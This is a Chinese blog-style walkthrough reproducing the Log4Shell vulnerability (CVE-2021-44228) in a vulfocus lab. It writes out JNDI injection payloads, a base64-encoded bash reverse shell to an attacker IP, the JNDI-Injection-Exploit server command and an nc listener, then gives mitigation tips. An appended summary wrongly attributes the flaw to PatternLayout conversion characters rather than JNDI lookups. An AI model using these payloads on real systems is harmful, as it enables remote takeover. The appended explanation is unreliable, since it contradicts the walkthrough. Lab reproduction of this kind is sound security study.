Log4j2漏洞复现(CVE-2021-44228)

概要

Log4j2是apache下的java应用常见的开源日志库,是一个Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

过程

1、当用户通过get或者post提交输入信息时,应用程序中的“log4j2”组件会将信息记录到日志中;

2、假如日志中含有该语句${jndi:ldap://192.168.96.1:1099/shell},log4j2就会去解析该信息,通过jndi的lookup去解析该url:
ldap://192.168.96.1:1099/shell

3、解析到ldap,就会去192.168.96.1:1099的ldap服务找名为shell的资源,找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会将资源下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入。

4、攻击者可以通过shell实现任意的命令执行,造成严重危害。

在这里插入图片描述

影响版本

2.0 < log4j2 <2.14.1

漏洞复现

实验环境:本地vulfocus靶场-CVE-2021-44228

1、启动容器,访问靶机页面,点击超链接获取请求
在这里插入图片描述

2、开启dnslog网站申请一个dns域名,用来测试漏洞是否支持域名解析以及后面的代码运行。

访问 http://www.dnslog.cn  ->  点击get subdomain -> 获取随机子域名 xxx.dnslog.cn

3、验证漏洞
使用burpsuite获取请求包并修改请求包中的参数内容为下面的payload后再发送:

1、payload= ${jndi:ldap://kf.nej6ew.dnslog.cn}
2、对payload的值进行URL编码

在这里插入图片描述
观察dns网站解析日志结果,刷新,发现解析成功,说明漏洞存在。
在这里插入图片描述
也可以将payload替换成以下形式验证:

${jndi:ldap://${sys:java.version}.nej6ew.dnslog.cn}

在这里插入图片描述
在这里插入图片描述
4、通过JNDI注入反弹shell

JNDI注入语句格式:
${jndi:rmi://+存在恶意文件的JNDI服务器地址}
${jndi:ldap://+存在恶意文件的JNDI服务器地址}
例如:
payload=${jndi:ldap://kf.wfyebc.dnslog.cn}
payload=${jndi:ldap://${sys:java.version}.wfyebc.dnslog.cn}
payload=${jndi:rmi://192.168.66.128:1099/4j8rkj}

构造反弹命令(通过命令将靶机的最高控制权限移交给攻击机):

1、原始shell反弹命令:bash -i >& /dev/tcp/192.168.0.1/6666 0>&1  #这个代码是靶机运行,ip是攻击机IP
2、通过编码改成可在java环境下执行的命令:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
3、最后利用exp工具搭建JNDI服务器并挂载恶意命令执行:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.0.129"

#-C是执行的bash命令,-A是JNDI服务器IP

生成rmi远程代码执行地址:

rmi://192.168.0.129:1099/fpzqep

JNDI注入语句:

${jndi:rmi://192.168.0.129:1099/fpzqep}

攻击机开启端口监听:

nc -lnvp 6666

将JDNI注入语句通过burpsuite 转码后发送,即可将shell反弹。

payload=${jndi:rmi://192.168.0.129:1099/fpzqep}

在这里插入图片描述

修复建议

1.禁止用户输入的参数中出现攻击关键字(过滤用户输入)
2.设置系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
3.升级到官方最新版本:https://logging.apache.org/log4j/2.x/download.html

  • 10
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
Apache Log4j2是一个广泛使用的开源日志管理工具。然而,最近发现了一个严重的漏洞,被命名为CVE-2021-44228。这个漏洞允许攻击者通过恶意构造的日志事件来执行任意代码,导致系统被远程攻击者完全控制。 漏洞是由于Log4j2中的PatternLayout布局处理器存在一个特定的模式转换字符(%d、%i、%m、%p等)被恶意利用的问题。攻击者可以将恶意代码嵌入到日志事件中,并通过向受影响的Log4j2实例发送恶意请求触发此漏洞。一旦攻击成功,攻击者可以在受影响的应用程序上执行任意的远程代码。 这个漏洞的危害性非常高,因为日志功能几乎在每个应用程序中都得到广泛使用。攻击者可以通过恶意日志事件执行各种攻击,包括远程命令执行、数据库注入、代码执行等。受影响的应用程序可能会泄露敏感数据、遭受损坏甚至被完全控制。 解决这个漏洞的最佳方法是升级到Log4j2的最新版本。Apache已经发布了修复此漏洞的版本,更具体地说是2.15.0和2.16.0,这些版本不再处理这类模式转换字符。如果无法立即更新,可以考虑在应用程序中禁用PatternLayout布局处理器,或者使用其他日志管理框架替代Log4j2。 此外,还建议及时监测应用程序的日志活动,并对异常的日志事件进行审查。如果遇到可疑的日志事件,应立即采取行动,例如暂停相关服务、排查日志事件来源、加强网络安全防护等。 总之,Apache Log4j2CVE-2021-44228漏洞是一个严重的安全威胁,可能导致系统被完全控制。及时升级到修复版本、加强监控和审查日志活动是应对该漏洞的关键步骤。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值